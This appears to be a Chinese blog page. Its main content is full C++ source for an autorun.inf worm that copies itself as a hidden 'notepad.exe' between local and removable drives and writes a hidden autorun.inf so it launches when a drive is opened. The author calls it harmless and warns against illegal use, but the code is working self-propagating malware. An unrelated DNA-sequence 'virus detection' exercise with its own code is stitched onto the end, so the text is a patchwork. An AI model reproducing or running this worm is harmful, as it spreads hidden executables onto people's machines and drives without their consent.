C++蠕虫示例

最典型的一个autorun.inf 蠕虫,没有任何破坏性;
严禁非法用途,而且 大多数杀软发现了就杀。

/*      蠕虫 示例
 *  Written by noexcept
 * (Reference From Book)
 */ 
#include <windows.h>
char szAutoRun[] = "[AutoRun] \n"
  "open=notepad.exe\n"
  "shell\\open=打开(&O)\n"
  "shell\\open\\command=notepad.exe\n"
  "shell\\explore=资源管理器(&X)\n"
  "shell\\explore\\command=notepad.exe\n"
  "shellexecute=notepad.exe\n"
  "shell\\Auto\\command=notepad.exe"; //AUTORUN.INF 内容 
void infect(char* pszFile,UINT uDriveType)
{	//感染
 char szDriveString[MAXBYTE] = {0};
 DWORD dwRet = 0; //总量 
 DWORD iNum = 0;
 char szRoot[4] = {0};
 UINT uType = 0;
 char szTarget[MAX_PATH] = {0};
 dwRet = GetLogicalDriveStrings(MAXBYTE,szDriveString); //遍历驱动器 
 while(iNum < dwRet)
 {
  strncpy(szRoot,&szDriveString[iNum],3);
  uType = GetDriveType(szRoot); //驱动器类型 
  if(uType == uDriveType) //目标明确 
  {
   lstrcpy(szTarget,szRoot);
   lstrcat(szTarget,"notepad.exe");
   CopyFile(pszFile,szTarget,FALSE); //复制;C盘可能需要管理员权限 
   SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之 
   lstrcpy(szTarget,szRoot);
   lstrcat(szTarget,"autorun.inf");
   HANDLE hFile = CreateFile(szTarget,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
   DWORD dwWritten = 0;
   WriteFile(hFile,szAutoRun,lstrlen(szAutoRun),&dwWritten,NULL); //写autorun.inf 
   CloseHandle(hFile);
   SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之 
  }
  iNum += 4;
 }
}
int main()
{
 char szFileName[MAX_PATH] = {0};
 char szRoot[4] = {0};
 UINT uType = 0;
 GetModuleFileName(NULL,szFileName,MAX_PATH); //当前绝对路径 
 strncpy(szRoot,szFileName,3); //Like "C:\\"
 uType = GetDriveType(szRoot); //驱动器类型 
 switch(uType)
 {
  case DRIVE_FIXED:{ //本地磁盘 
   infect(szFileName,DRIVE_REMOVABLE); //去检查可移动磁盘 
   break;
  }
  case DRIVE_REMOVABLE:{ //可移动磁盘 
   infect(szFileName,DRIVE_FIXED);  //去定居本地磁盘 
   break;
  }
 }
 return 0;
}

数据结构C++病毒检测的实现可以参考以下步骤: 1. 创建一个保存待测任务的文本文件,文件格式和内容如下: ``` num task1 task2 ... task_num ``` 其中,num表示待检测的任务数量,task1到task_num表示具体的任务。 2. 读取文本文件中的任务数量和任务内容,并将其存储在合适的数据结构中,例如数组或链表。 3. 对于每个任务,进行病毒检测的操作。可以使用字符串匹配算法,如KMP算法,来判断任务中的DNA序列是否包含病毒的DNA序列。 4. 如果任务中的DNA序列包含病毒的DNA序列,则输出"感染";否则,输出"未感染"。 以下是一个示例代码,演示了如何实现数据结构C++病毒检测: ```cpp #include <iostream> #include <fstream> #include <string> using namespace std; bool isInfected(string dnaSequence, string virusSequence) { int n = dnaSequence.length(); int m = virusSequence.length(); for (int i = 0; i < n; i++) { bool match = true; for (int j = 0; j < m; j++) { if (dnaSequence[(i + j) % n] != virusSequence[j]) { match = false; break; } } if (match) { return true; } } return false; } int main() { ifstream inputFile("tasks.txt"); if (!inputFile) { cout << "Failed to open file." << endl; return 0; } int num; inputFile >> num; for (int i = 0; i < num; i++) { string task; inputFile >> task; if (isInfected(task, "baa")) { cout << "感染" << endl; } else { cout << "未感染" << endl; } } inputFile.close(); return 0; } ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值